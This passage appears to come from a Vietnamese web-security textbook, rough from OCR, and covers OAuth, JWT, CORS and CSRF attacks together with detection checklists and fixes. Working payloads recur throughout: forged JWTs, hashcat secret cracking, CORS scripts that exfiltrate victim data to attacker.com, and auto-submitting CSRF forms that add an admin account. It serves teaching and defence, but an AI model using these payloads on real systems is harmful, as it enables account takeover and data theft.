Auth Server phai validate redirect_uri chat ché. Néu khong, hacker redirect authorization code dén domain cta han.
bang ky: redirect_uri=https://app.com/callback
Tan cong:
/authorize?redirect_uri=https://app.com/callback/../../../evil-path
/authorize?redirect_uri=https://app.com.attacker.com/callback
/authorize?redirect_uri=https://app.com/callback%2F%2F%40attacker.com
Sau khi user authorize:

Auth Server redirect dén attacker.com véi auth code
- Hacker exchange code - access_token cla victim

Bypass k¥ thuat:
Path traversal: /callback/../leak
Open redirect: /callback?next=https://attacker.com

Subdomain: evil.app.com
Port: app.com:8080

Phong chong: Auth Server phai dung exact string match, khong regex match.
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3. Token Leakage qua Referer

Vi Implicit Flow (deprecated):

access_token trong URL fragment:
https://app.com/callback#access_token=TOKEN

— Néu app load external resources (images, analytics):
Referer: https://app.com/callback#access_token=TOKEN
- Token bi gri dén external servers trong Referer header

4. Improper Token Validation

# SAIL: Trust access_token payload ma khong verify véi Auth Server
def login_with_oauth():
token = request.headers.get('Authorization').split(' ")[1]
# Decode JWT token
payload = jwt.decode(token, verify=False) # — NGUY HIEM!
user_id = payload['sub']
return login_as(user_id)

# DUNG: Verify token v&i Auth Server
def login_with_oauth():
token = request.args.get('code')
# Exchange code cho token
token_response = requests.post(TOKEN_URL, data={
'code': token,
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET,
'redirect_uri': REDIRECT_URI,
1

access_token = token_response.json()['access_token']

# Verify v6i Auth Server dé ldy user info
user_info = requests.get(USERINFO_URL, headers={
'Authorization': f'Bearer {access_token}'

}).json()

return login_as(user_info['sub'])

5. Scope Escalation

Trong Implicit Flow:
/authorize?scope=profile

- Sau khi nhan token, hacker modify request:
GET /api/emails HTTP/1.1

Authorization: Bearer <token>

X-0Auth-Scope: email ~ thém scope

— Néu Resource Server khong verify scope tir Auth Server
- Hacker truy cap email du chi request scope=profile
6. Account Takeover qua Email khong dworc verify
Scenario:
Hacker register social account véi email: victim@example.com
(Google/GitHub khdng verify email ngay lap tuc)
Hacker OAuth login vao app bang social account nay

. App match bdng email: victim@example.com - login vao account victim

— Hacker chiém quyén account ma khdéng can password

Phong chong: Khong dung email lam unique identifier cho OAuth login. Dung provider + provider_user_id.

I Kich ban tan cong: redirect_uri bypass

Target: App dang ky redirect_uri=https://example.com/callback

1. App c6 open redirect:
GET /redirect?url=https://attacker.com - 302 to attacker.com

2. Hacker craft URL:
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/authorize?
client_id=CLIENT_ID
&redirect_uri=https://example.com/redirect?url=https://attacker.com
&response_type=code
&scope=email

. Auth Server validate: https://example.com/redirect... v (domain match)
User authorize

. Auth Server redirect dén:
https://example.com/redirect?url=https://attacker.com&code=AUTH_CODE

. App's open redirect sends user to:
https://attacker.com?code=AUTH_CODE

Hacker exchange code:
POST /token?code=AUTH_CODE&client_id=...&client_secret=...
- access_token cla victim!

Cach phat hién

Khong c6 state parameter trong authorization URL

State parameter predictable hodc khong verified

redirect_uri dugc accept khi thém path traversal sequences
Auth Server accept partial domain match

Token trong URL (Implicit Flow)

App khong verify token voi Auth Server (chi decode JWT)

Email duwgc dung lam identifier ma khong check verified status
Authorization code c6 thé reuse nhiu lan

Thi€u PKCE véi native/SPA apps

O
O
O
(]
]
(]
o
(]
(]

Phong chong

# Complete OAuth implementation v&i security best practices

class OAuthClient:
def start_login(self):
# Generate va luu state
state = secrets.token_urlsafe(32)
# Generate PKCE (néu la public client)
code_verifier = secrets.token_urlsafe(64)
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=").decode()

session['oauth_state'] = state
session['code_verifier'] = code_verifier

params = {
'client_id': CLIENT_ID
'redirect_uri': REDIRECT_URI, # Hardcoded, khong tw user input
'response_type': 'code',
'scope': 'openid email profile',
'state': state,
'code_challenge': code_challenge,
'code_challenge_method': 'S256',
}

return redirect(f"{AUTH_URL}?" + urlencode(params))

handle_callback(self)

# 1. Verify state

if request.args.get('state') != session.pop('oauth_state', None):
abort(400)

# 2. Exchange code
code = request.args.get('code')
token_response = requests.post(TOKEN_URL, data={
'grant_type': 'authorization_code'
'code': code,
'redirect_uri': REDIRECT_URI,
'client_id': CLIENT_ID
'client_secret': CLIENT_SECRET,
'code_verifier': session.pop('code_verifier', ''),

1)

if token_response.status_code != 200:
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abort(401)

tokens = token_response.json()

# 3. Verify voi UserInfo endpoint
user_info = requests.get(USERINFO_URL, headers={
'Authorization': f"Bearer {tokens['access_token']}"

}).json()

# 4. Link bang provider + sub (khong phai email)

user = User.find_or_create(
provider="'google',
provider_user_id=user_info['sub'], # Unique ID cla provider
email=user_info['email'],

email_verified=user_info.get('email_verified', False)

if not user.email_verified:
abort (403, "Email not verified with provider")

session['user_id'] = user.id
return redirect('/dashboard")

I GO6c nhin DevOps

OAuth véi Kubernetes — Dex / OAuth2 Proxy:

# oautt roxy cho Kubernetes Ingress
apiVersi
kind: ConfigMap
metadata:
name: oauth2-proxy-config
data:
config: |
provider = "github"
client-id = "..."
client-secret = "..."
# Restrict to specific GitHub org
github-org = "mycompany"
cookie-secure = true
cookie-httponly = true
cookie-samesite = "lax"

|

Secrets cho OAuth trong K8s:

# Khong ha de client cret trong config files
kubectl create secret generic oauth-credentials \
--from-literal=client-id=xxx \

--from-literal=client-secret=yyy \

--namespace production

Tém tat

o OAuth 2.0 la vé authorization, khong phai authentication — OpenID Connect (OIDC) thém authentication layer.
o Authorization Code Flow + PKCE la secure nhat — dung cho moi app mdi.

o Implicit Flow da deprecated — trdnh hoan toan.

e State parameter bt bugc dé chong CSRF.

o redirect_uri phai exact match — khong regex, khong partial.

o Khong ding email lam identifier vi c6 thé chua verified.

o Verify token v@i Auth Server — dirng chi decode JWT locally.

| cau hei on tap
1. Sy khac nhau giita Authorization Code Flow va Implicit Flow la gi? Tai sao Implicit Flow deprecated?
2. State parameter trong OAuth bao vé chéng loai tdn cong nao? M6 ta attack scenario.
3. Tai sao khong nén dung email lam identifier khi implement OAuth login?

4. PKCE la gi va tai sao can thiét cho mobile/SPA apps?
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5. Néu Auth Server dung partial domain match cho redirect_uri validation, hacker c6 thé exploit nhw thé nao?
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Chwong 8: JWT — JSON Web Token

| khai niem
JWT (JSON Web Token — Token Web dang JSON) la chuan mé (RFC 7519) dé truyén thong tin giita cadc bén duwdi dang JSON object dugc ky s6. JWT thuong dung thay

thé server-side session dé authentication stateless.

Miitc d9 nguy hiém: Cao — JWT implementation 16i cho phép hacker gid mao identity hodc leo thang ddc quyén.

| cau trac awr

eyJhbGci0iJIUzZIINIiISINR5CCI6IKpXVCJI9.eyJ1c2VySWQi0jEzMzcsInJvbGUi0iJ1c2VyIn0.abcl123

Header Payload Signature

Ba phan, ngan cach biang dau chdm, m6i phan 1a Base64URL encoded.

Header:

"alg": "HS256",
Meyp: M IWT"

Payload (Claims):

"sub": "1337",
"username": "alice",
"role": "user",
"iat": 1609459200,
"exp": 1609462800

Signature:

HMACSHA256 (
base64url(header) + "." + base64url(payload),
secret_key

)

Quan trong: JWT duoc ky soé (signed), khong phdi md héa (encrypted). Header va payload cé thé doc duoc béi bat ky ai c6 token. Dirng dé sensitive data trong
payload trtr khi ding JWE.

I Decode JWT

# Decode nhanh bang ba
echo "eyJhbGci0iJIUzIINiIsSInR5cCI6IkpXVCJI9" | base64 -d
# Output: {"alg":"HS256","typ":"JWT"}

# Dung jwt.io (online) hoac:
pip install PyJwT
python3 -c "import jwt; print(jwt.decode('TOKEN', options={'verify_signature': False}))"

| cac16 héng awT

1. Algorithm: None Attack

Thudt toan none chi dinh “khong can signature”. JWT v6i alg: none Kkhdng can ky, bat ky payload nao cling dwgc accept.

# Tao JWT voi alg: none

header = base64url({"alg": "none", "typ": "JWT"})
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payload = base64url({"userId": 1, "role": "admin"})
signature = "" # Khong cé signature

token = f'"{header}.{payload}."

t

Bypass filter:

Néu server check "alg" !'= "none" (case-sensitive):
- Tht: "None", "NONE", "nOngE", "NoNe"
- MOt s6 libraries accept cac bién thé nay

Lab PortSwigger: Dung Burp JWT Editor extension: 1. Intercept request v6i JWT 2. JWT Editor — Edit payload: role=admin 3. Attack — None signing algorithm 4.
Forward request

2. Weak Secret — Brute Force

HMAC algorithms (HS256/HS384/HS512) dung symmetric key. Néu key yéu, cé thé brute force.

# Brute force JWT secret bdng hashcat

hashcat -a @ -m 16500 \
eyJhbGci0iJIUzIINiISINR5cCI6IkpXVCJI9.eyJ1c2VySWQi0jEzMzd9.abc123 \
/usr/share/wordlists/rockyou. txt

# Hoac dung jwt-cracker
npm install -g jwt-cracker
jwt-cracker eyJhbGciO0iJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaw4ifQ.hash "secret"

# Secret ph6 bién bi tim thay:
# "secret", '"password", "key", "jwt_secret", "your-256-bit-secret"

|

Sau khi c6 secret, ky lai JWT véi bt ky payload nao:

.
import jwt
secret = "secret"
fake_token = jwt.encode(
{"userId": 1, "role": "admin"},
secret,
algorithm="HS256"

3. Algorithm Confusion (RS256 - HS256)

Pay la tan cong tinh vi nhét véi JWT.

Background: - RS256: Dung private key dé ky, public key dé verify (asymmetric) - HS256: Dung cung secret key dé ky va verify (symmetric)

Server:
- Tao token: ky bang RSA private key (RS256)
- Verify token: dung RSA public key

Library API:
verify(token, key):
alg = token.header.alg
if alg == "RS256":
verify_rsa(token, key) # key = public key
elif alg == "HS256":
verify_hmac(token, key) # key = secret

Attack:

Ldy public key cua server (thuong exposed tai /jwks.json hoac /.well-known/jwks.json)
. Tao JWT méi voi:

- alg: HS256 (thay vi RS256)

- Payload: role=admin
. Ky JWT b&ng public key nhuw thé né la HMAC secret
. Server nhan token:

- Thay alg=HS256

- Verify b&ng HS256 v6i... public key (vi d6 la "key" dugc cau hinh)

- Public key = secret trong HMAC context

- Verify thanh cong! Hacker da forge token

# Algorithm confusion attack
import jwt
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from cryptography.hazmat.primitives import serialization

# 1. Get public key tir /jwks.json
public_key = load_public_key_from_jwks()

# 2. Convert sang PEM format

public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo

# 3. Sign voi HS256 dung public key lam secret
forged_token = jwt.encode(
{"userId": 1, "role": "admin"},
public_key_pem, # public key lam HMAC secret
algorithm="HS256"

4. JWK Header Injection

JWT header c6 thé chita jwk (JSON Web Key) — key dung dé verify chinh token do.

r

"alg": "RS256"
Meypt: M IWT"
: ’

"kt {

"kty": "RSA",

M. "AQAB"

"kid": "attacker-key"

"n": "ATTACKER_PUBLIC_KEY_MODULUS"

. Hacker generate cap RSA key méi
. Tao JWT v6i:
- Header: jwk = hacker's public key
- Payload: role=admin
- Signed vo&i hacker's private key
. Server nhan token:
- boc jwk twr header
- Verify signature dung key trong jwk
- Hacker's private key - hacker's public key - verify thanh céng!

- Server verify token do hacker tao ma khéng biét day la tan céng

Dung Burp JWT Editor: 1. Generate RSA key pair 2. Attack -~ Embedded JWK 3. Modify payload 4. Sign véi private key

5. jku (JWK Set URL) Injection

"alg": "RS256",
"jku": "https://attacker.com/jwks.json"

Server fetch public key tit URL trong header dé verify. Néu server khong validate URL:
1. Hacker host jwks.json trén server cda h&n véi public key cla han

2. Tao JWT v6i jku tré dén server cla han
3. Server fetch key - verify - thanh céng!

6. kid (Key ID) Injection
kid parameter chi dinh key nao dwgc dung dé verify. Néu server dung kid dé lookup file hodc database:

Path Traversal:

"kid": "../../dev/null"

Server verify v6i empty secret — bypass néu server sign payload vdi empty secret.
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SQL Injection:

"kid": "' UNION SELECT 'attacker_secret'--

Server query DB vdi kid — tra vé attacker’s secret — server verify vdi attacker’s secret — hacker sign vdi secret d6 — thanh cong.

| cach phat hien

Decode JWT header: alg la gi?

Th&r alg: none/None/NONE - server cé reject khong?

/jwks.json hoac /.well-known/jwks.json public key cé exposed khong?
Brute force secret (voi HS256)

Server c6 jwks.json endpoint khéng - algorithm confusion risk

kid parameter c6 validate khong?

Token khong expire (thiéu exp claim)?

Sensitive data trong payload (password, PII)?

Phong chéng

# Python véi PyJWT — dang céach

import jwt
from jwt.exceptions import InvalidTokenError

# 1. Ludn specify algorithms r6 rang
def verify_token(token: str) -> dict:
try:
payload = jwt.decode(
token,
key=settings.JWT_PUBLIC_KEY, # hoac secret
algorithms=["RS256"], # Whitelist, khdong cho "none"
options={
"require": ["exp", "iat", "sub"], # Required claims
"verify_exp": True,
"verify_iat": True,

)
return payload
except InvalidTokenError as e:
raise AuthenticationError(f"Invalid token: {e}")

# 2. Tao token an toan
def create_token(user_id: int) -> str
payload = {
"sub": str(user_id),
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(hours=1),
"jti": secrets.token_urlsafe(16), # JWT ID dé prevent reuse

}
return jwt.encode(payload, settings.JWT_PRIVATE_KEY, algorithm="RS256")

# 3. Token rotation va revocation
class TokenBlacklist:
def __init_ (self, redis)
self.redis = redis

def revoke(self, jti: str, exp: int):
ttl = exp - int(time.time())
if ttl > o:
self.redis.setex(f"revoked: {jti}", ttl, "1")

def is_revoked(self, jti: str) -> bool:
return self.redis.exists(f"revoked:{jti}")

Secret Management:

"

# JWT secret phai da manh
# HS256 can it nhat 256-bit key
openssl rand -hex 64 # 512-bit hex string
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/ pair

openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Luu trong Vault hod ret

kubectl create secret generic jwt-keys \
--from-file=private.pem \
--from-file=public.pem

I GO6c nhin DevOps

JWT Validation ¢ API Gateway:

# Kong Gateway: validate JWT
plugins:

- name: jwt
config:
key_claim_name: kid
claims_to_verify:
- exp
secret_is_base64: false
# Chi allc fic algorithms
algorithms:
- RS256

|

Monitoring JWT anomalies:

alert khi det S 0 VT usage
def log_jwt_validation(token_payload: dict, request):
event = {
"sub": token_payload.get("sub"),
"iat": token_payload.get("iat"),
"exp": token_payload.get("exp"),
"ip": request.remote_addr
"user_agent": request.user_agent.string

Alert: token dung sau khi logout (revoked)
if is_revoked(token_payload.get("jti")):
alert("Revoked token usage attempt", event)

# Alert: token twr unexy d IP (néu c6 IP binding)

if token_payload.get("ip") != request.remote_addr:

alert( T used from different IP", event)

| Tom tét
o JWT la signed, khong phai encrypted — dirng dé secret data trong payload.
e alg: none attack: disable bang cach whitelist algorithms.
o Weak secret: dung it nhat 256-bit random secret hoac RSA 2048+.
¢ Algorithm confusion: server phdi verify algorithm match expected.
o JWK/jku injection: khong trust key tir token header.
¢ kid injection: validate va sanitize kid parameter.

e Dung exp va jti dé limit token lifetime va enable revocation.

Prefer RS256 (asymmetric) hon HS256 (symmetric) cho microservices.

Cau hoi 6n tap

1. Tai sao JWT dugc goi la “signed” chit khong phai “encrypted”? Implication la gi?
2. Algorithm confusion attack (RS256 — HS256) hoat dong nhu thé nao?

3. Lam thé nao dé revoke JWT truée khi n6 expire ty nhién?

4. jku injection khac jwk injection & diém nao?

5. Khi nao nén dung RS256 thay vi HS256?
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Chwong 9: CORS — Cross-Origin Resource Sharing

| khai niem

CORS (Cross-Origin Resource Sharing — Chia sé tai nguyén qua céc origin) la co ché browser cho phép hodc tir chdi web pages truy cdp tai nguyén tir domain khac.

Mitc do nguy hiémal: Trung binh-Cao — CORS misconfiguration cho phép trang web doc hai doc dir liéu nhay cam tir API cda ban.

Truwdc khi hiéu CORS, can hiéu Same-Origin Policy (Chinh sach cung nguon goc).

I Same-Origin Policy (SOP)
SOP la security mechanism ctia browser: mot trang web chi c6 thé doc response tir cing mét origin.

Origin = scheme + hostname + port:

https://example.com:443 — origin

https://example.com/api SAME origin (scheme, host, port giéng)
https://example.com:8080/api DIFFERENT origin (port khac)
http://example.com/api ~ DIFFERENT origin (scheme khac)
https://api.example.com/api ~ DIFFERENT origin (subdomain khac)
https://other.com/api DIFFERENT origin (domain khac)

SOP cho phép: - Gtti cross-origin requests (GET/POST) — browser gtii nhung JS khong doc duwgc response - Load images, scripts, stylesheets tir cross-origin - Redirect

cross-origin

SOP chan: - JavaScript doc response tir cross-origin fetch/XHR - Access cookies, localStorage cua origin khac

I CORS cho phép bypass SOP c6 kiém soat
Server c6 thé cho phép specific origins truy cdp bang CORS headers:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization

Preflight Request (OPTIONS):
Véi “non-simple” requests (PUT, DELETE, custom headers), browser giti OPTIONS request trugc:

OPTIONS /api/data HTTP/1.1

Origin: https://trusted-app.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

HTTP/1.1 204 No Content

Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 3600

I CORS Misconfigurations

1. Reflect Any Origin

Ref 1 Origin header vd diéu kién
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')

response.headers[ 'Access-Control-Allow-0Origin'] = origin # NGUY HIEM
response.headers[ 'Acc -Control-Allow-Credentials'] = 'true'
return response
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Khai thac:

<!-- Trang cua hacker: attacker.com -->
<script>
fetch('https://api.victim.com/api/sensitive-data', {
credentials: 'include' // Gii kém cookies cla victim
1)
.then(r => r.json())
.then(data => {
// Hacker doc duoc data cua victim
fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
1

</script>

2. Whitelist Validation L&i

# SAIL: regex/string match khéng chat ché

def is_allowed_origin(origin)
# Intended: chi allow example.com va subdomains
return 'example.com' in origin

Bypass:
t attacker-example.com - chira "example.com" - pass!
+ example.com.attacker.com chta "example.com" - pass

# DUNG: exact match hoac regex chat ché
import re

ALLOWED_ORIGINS = {
"https://example.com",
"https://app.example.com",
"https://staging.example.com"

def is_allowed_origin(origin)
return origin in ALLOWED_ORIGINS

# Hodac néu can regex:
ALLOWED_PATTERN = re.compile(r'Ahttps://([a-z]+\.)?example\.com$")
def is_allowed_origin(origin)

return bool(ALLOWED_PATTERN.match(origin))

3. Null Origin Whitelist

e

# SAI: Allow null origin (thuong dung cho local dev)
if origin == 'null'
response.headers[ 'Access-Control-Allow-Origin'] = 'null

Tao null origin:

.

<!-- Null origin dugc tao bdi: sandboxed iframe, file://, data: URI -->

<iframe sandbox="allow-scripts" srcdoc="

<script>

fetch('https://api.victim.com/sensitive', {credentials: 'include'})
.then(r => r.json())
.then(data => parent.postMessage(data, '*'));

</script>

">

</iframe>
Sandboxed iframe gui requests véi Origin: null.Neéu server accept null — hacker bypass.

4. Wildcard + Credentials (Impossible Combination)

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browser tif ch@i combination nay — khong cho phép gtti credentials vdi wildcard.

Tuy nhién mot s6 app 6 bypass bang cach reflect Origin khi request c6 credentials — twong dwong wildcard nhung bypass browser check.
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5. Trusted Subdomain bi XSS

Access-Control-Allow-0rigin: https://subdomain.example.com

Néu subdomain.example.com bi XSS:

Hacker inject script vao subdomain.example.com
. Script chay véi origin: subdomain.example.com

Fetch https://api.example.com/data — CORS pass (trusted origin)
. Poc sensitive data - giri cho hacker

Kich ban tan c6ng: API Data Theft

Target: api.bank.com - endpoint GET /api/balance tra vé sé duv tai khoan
CORS config: Reflect any origin véi credentials

Hacker host trang tai: attacker.com/steal.html

<!-- attacker.com/steal.html -->

<IDOCTYPE html>

<html>

<body>

<script>

// Victim phai d& login bank.com trong cung browser

var xhr = new XMLHttpRequest();

xhr.open('GET', 'https://api.bank.com/api/balance', true);
xhr.withCredentials = true; // GU&i kém bank.com cookies

xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Giri balance vé cho hacker
fetch('https://attacker.com/collect?data="' +
encodeURIComponent (xhr.responseText));

¥
xhr.send();
</script>
</body>
</html>

Attack flow:
. Victim da login bank.com
Hacker gri link: attacker.com/steal.html (qua email, chat)
. Victim click - page load - fetch dén api.bank.com
. CORS: Origin: attacker.com - server reflect - response c6é ACAO: attacker.com
Browser cho JS doc response - balance bi 16
. Gri vé attacker.com

Cach phat hién

# Test CORS manually

curl -H "Origin: https://attacker.com" \
-H "Cookie: session=victim_token" \
https://api.example.com/sensitive \
=

+ Check response:
C6 Access-Control-Allow-0Origin: https://attacker.com khoéng?

t C6 Access-Control-Allow-Credentials: true khdng?

# Test null origin
curl -H "Origin: null" https://api.example.com/sensitive -I

# Test subdomain bypass
curl -H "Origin: https://attacker-example.com" https://api.example.com/sensitive -I

Checklist:

O Server reflect bat ky Origin nao?
O Null origin duoc accept?
O ACAO: * két hop véi Allow-Credentials: true?
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O Whitelist validation cé bypass dugc bing prefix/suffix?
O Trusted subdomains cé bi XSS khong?
O HTTP origin duoc accept du server la HTTPS?
0 C6 endpoints nhay cam khong can auth nhung return sensitive data?

Phong chong

# Flask CORS implementation an toan

ALLOWED_ORIGINS = frozenset([
"https://app.example.com"
"https://admin.example.com",

1

@app.after_request
def cors_handler(response)
origin = request.headers.get('Origin')

if origin and origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-0Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
response.headers['vary'] = 'Origin' # Quan trong: cho cache biét response thay d6i theo Origin

return response

@app.route('/api/preflight', methods=['OPTIONS'])
def preflight():
response = make_response()
cors_handler(response)
response.headers[ 'Access-Control-Max-Age'] = '3600'
return response, 204

Nginx CORS:

# Nginx CORS cho phép specific origins

map $http_origin $cors_origin {
default "";
"https://app.example.com" "https://app.example.com";
"https://admin.example.com" "https://admin.example.com";

server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'vary' 'Origin' always;

if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE' always;
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization' always;
add_header 'Access-Control-Max-Age' 3600;
return 204;

I Gé6c nhin DevOps

Kubernetes Ingress CORS:

apiVersion: networking.k8s.io/v1

kind: Ingress

metadata:

annotations:

nginx.ingress.kubernetes.io/enable-cors: "true"
nginx.ingress.kubernetes.io/cors-allow-origin: "https://app.example.com"
nginx.ingress.kubernetes.io/cors-allow-credentials: "true"
nginx.ingress.kubernetes.io/cors-allow-methods: "GET, POST, PUT, DELETE"
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cors-allow-headers: "Content-Type, Authorization"

Environment-specific CORS config:

r

# Khac nhau gilta environments
ALLOWED_ORIGINS = {

'production': [
'https://app.example.com',
'https://admin.example.com

1,

'staging': [
'https://staging.example.com',
'https://staging-admin.example.com'

1,

'development': [
'http://localhost:3000',
'http://localhost:3001'

# Load tlr environment variable

env = os.environ.get('APP_ENV', 'development')
allowed = ALLOWED_ORIGINS.get(env, [])

| Tom tit
¢ SOP ngan JavaScript doc cross-origin responses — CORS la ca ché dé selectively allow.
o Reflect bat ky Origin nao kem credentials = hoan toan bypass SOP.
o Whitelist validation phdi exact match — substring match bi bypass.
¢ Null origin phdi bi block trong production.
e Dung vary: Origin header dé cache hoat dong dung.
¢ Trusted subdomain bi XSS — CORS bi exploit.

o Khong bao gi¥ ding Access-Control-Allow-Origin: * v@i Allow-Credentials: true.

| cau hei on tap
1. Same-Origin Policy la gi va n6 bao vé chong lai diéu gi?
2. Tai sao két hgp Access-Control-Allow-Origin: * va Allow-Credentials: true khong hogp 16?
3. Null origin dugc tao ra trong tinh hudéng nao? Tai sao nguy hiém?
4.Néu api.example.com c6 CORS whitelist la example.com (substring match), hacker bypass thé nao?

5. Tai sao can thém vary: origin header trong CORS response?
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Chwong 10: CSRF — Cross-Site Request Forgery

| khai niem

CSREF (Cross-Site Request Forgery — Gia mao yéu cau chéo trang) la tdn cong khién nguoi dung da xac thyc vo tinh thye hién hanh dong khong mong muén trén mét web
application.

Mitc d¢ nguy hiém: Trung binh-Cao — Phu thugc vao hanh dong c6 thé bi gia mao (chuyén tién, doi email/password, xda dit liéu).

CSRF khai thac su that: browser ty dong giii cookies trong moi request, ké ca requests duwoc trigger tir trang web khéc.

I Pbiéu kién dé CSRF xay ra

Can du 3 diéu kién:
1. Relevant action: C6 hanh dong nhay cam (doi email, chuyén tién, thay d6i quyén)
2. Cookie-based session: App dung cookie dé track session

3. Predictable parameters: Hacker biét trudc tat ca parameters can thiét

I Cach hoat dong

Victim dang login bank.com (cé session cookie)

Hacker tao trang evil.com véi form &n:

<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker_account">
<input type="hidden" name="amount" value="1000">

</form>

<script>document.forms[0].submit();</script>

Khi victim vao evil.com:

1. Form tu submit dén bank.com

2. Browser tu dong dinh kém bank.com cookies

3. bank.com thdy valid session - thuc hién transfer
4. Hacker nhan 1000 don vi tién

I Cac loai CSRF Attack

GET-based CSRF

Néu sensitive action c6 thé trigger qua GET:

<img src="https://bank.com/transfer?to=hacker&amount=1000" width="0" height="0">

-- Khi browser load image - gti GET request v6éi cookies - action thuc hién -->

R

Day la ly do tai sao GET khong nén c6 side effects.

POST-based CSRF

I-- Auto-submit form -->
<form action="https://example.com/email/change" method="POST" id="csrf-form">
<input type="hidden" name="email" value="hacker@evil.com">

</form>
<script>document.getElementById('csrf-form').submit();</script>

JSON-based CSRF
Nhiéu API ding Content-Type: application/json . Browser chi auto-submit véi application/x-www-form-urlencoded hodc multipart/form-data .

Nhung c6 thé bypass:
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<!-- Method 1: Dung form véi enctype text/plain (gay JSON-like format) -->
<form action="https://api.example.com/change-email"
method="POST"
enctype="text/plain">
<input name='{"email":"hacker@evil.com",6"x":"' value='"}'>
</form>

<!-- Body duwoc gti: {"email":"hacker@evil.com",6"x":"="} -->
<!-- Néu server parse JSON lax — c6 thé work -->

<!-- Method 2: Néu server accept cac Content-Type khac -->
<script>
fetch('https://api.example.com/change-email', {
method: 'POST',
body: JSON.stringify({email: 'hacker@evil.com'}),
// Khong c6é Content-Type header — simple request — khong cé preflight
// Nhung server can handle request khéng cé content-type
1)

</script>

I Bypass CSRF Protection

Bypass CSRF Token

Token khong dugc verify:

# SAI: Generate token nhung khong verify

def change_email():
new_email = request.form.get('email')
# Token khoéng duoc check!
db.update_email(session['user_id'], new_email)

Token tied to session nhung khong tied to user:
Hacker login - 14y CSRF token cla han

Dung token chia hdn trong request attack dén victim session
— Néu server check "token valid" nhung khong check "token belongs to this user"

Token trong URL (leaked qua Referer):
<form action="/change-email?csrf_token=VALID_TOKEN">

-~ Néu page load external resource — Referer: /change-email?csrf_token=VALID_ TOKEN
- Token bi leak!

Double Submit Cookie bypass:

Mot so app dung pattern: cookie value == form field value.

NEu attacker c6 thé set cookie (XSS, subdomain takeover)
- Set attacker-controlled cookie value

-~ Send same value trong form field

- Server verify: cookie == form_field - match - bypass!

Bypass SameSite=Lax

SameSite=Lax cho phép cookie trong top-level GET navigation:

<a href="https://victim.com/change-email?email=hacker@evil.com">Click me!</a>
~ N&u action accessible via GET v&i SameSite=Lax — CSRF van possible

Bypass bang client-side redirect:

// MOt s6 SameSite bypass qua client-side redirect

// Néu c6 page redirect t@r victim.com - API endpoint

document. location = 'https://victim.com/redirect?url=/api/change-email?email=h@evil.com
// Top-level navigation SameSite=Lax cookies duoc giri

Bypass Referer Validation

Empty Referer:
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<!-- An Referer header -->

<meta name="referrer" content="no-referrer">

<form ...>

- Khong co6 Referer header - néu server chi block khi Referer sai (khéong khi thiéu) - bypass

Referer chita domain victim:

Hacker tao subdomain hoac path: victim.com.evil.com
- Referer: https://victim.com.evil.com/csrf.html
- NEéu server check "victim.com" in Referer - bypass!

Kich ban tan c6ng: Account Takeover qua CSRF

Target: admin panel cla SaaS app
L6 héng: Khong c6 CSRF token cho action "Add admin user"

Hacker biét action:
POST /admin/users/add
name=hacker_admin&email=hacker@evil.com&role=admin

Hacker tao trang attack

<!DOCTYPE html>
<htm1>
<body>
<form action="https://app.example.com/admin/users/add"
method="POST"
id="csrf">
<input type="hidden" name="name" value="hacker_admin">
<input type="hidden" name="email" value="hacker@evil.com">
<input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Hacker gtti link cho admin (phishing email, Slack message)
4. Admin click - page load - form submit - admin account dugc tao
5. Hacker login véi hacker@evil.com — full admin access

Cach phat hién

Requests thay d6i state c6 CSRF token khéng?

Token unique per-session va per-request?

Token duoc verify server-side?

Token trong URL (bi leak qua Referer)?

SameSite cookie attribute dugc set?

Referer validation c6 bypass duwoc khong (empty, misleading value)?
Sensitive actions c6 thé trigger qua GET?

Double submit cookie pattern cé subdomain XSS risk?

Test bang Burp: 1. Intercept request thay doi state 2. X6a CSRF token parameter 3. Send request — néu thanh céng — CSRF 4. Thtt stra token value — néu thanh cong —

validation 16i

I Phong ch

1. Synchronizer Token Pattern (Cach t6t nhat)

import secrets
from functools import wraps

def generate_csrf_token():
"""Tao CSRF token unique per-session"""
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
return session['csrf_token']

def csrf_protect(f)
@wraps(f)
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def decorated(*args, **kwargs)
if request.method in ('POST', 'PUT', 'PATCH', 'DELETE'):
token = request.form.get('csrf_token') or \
request.headers.get('X-CSRF-Token"')

if not token or not secrets.compare_digest(
token, session.get('csrf_token', '')

abort (403, "CSRF token validation failed")
return f(*args, **kwargs)
return decorated

# Template
@app.route('/change-email', methods=['GET', 'POST'])
@csrf_protect
def change_email():
if request.method == 'GET':
return render_template('change_email.html',
csrf_token=generate_csrf_token())
# POST: da duwoc validate bdi decorator

<!-- Template -->

<form method="POST" action="/change-email">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<input type="email" name="email" required>
<button type="submit">Change Email</button>

</form>

2. SameSite Cookie

response.set_cookie(
'session’',
session_id,
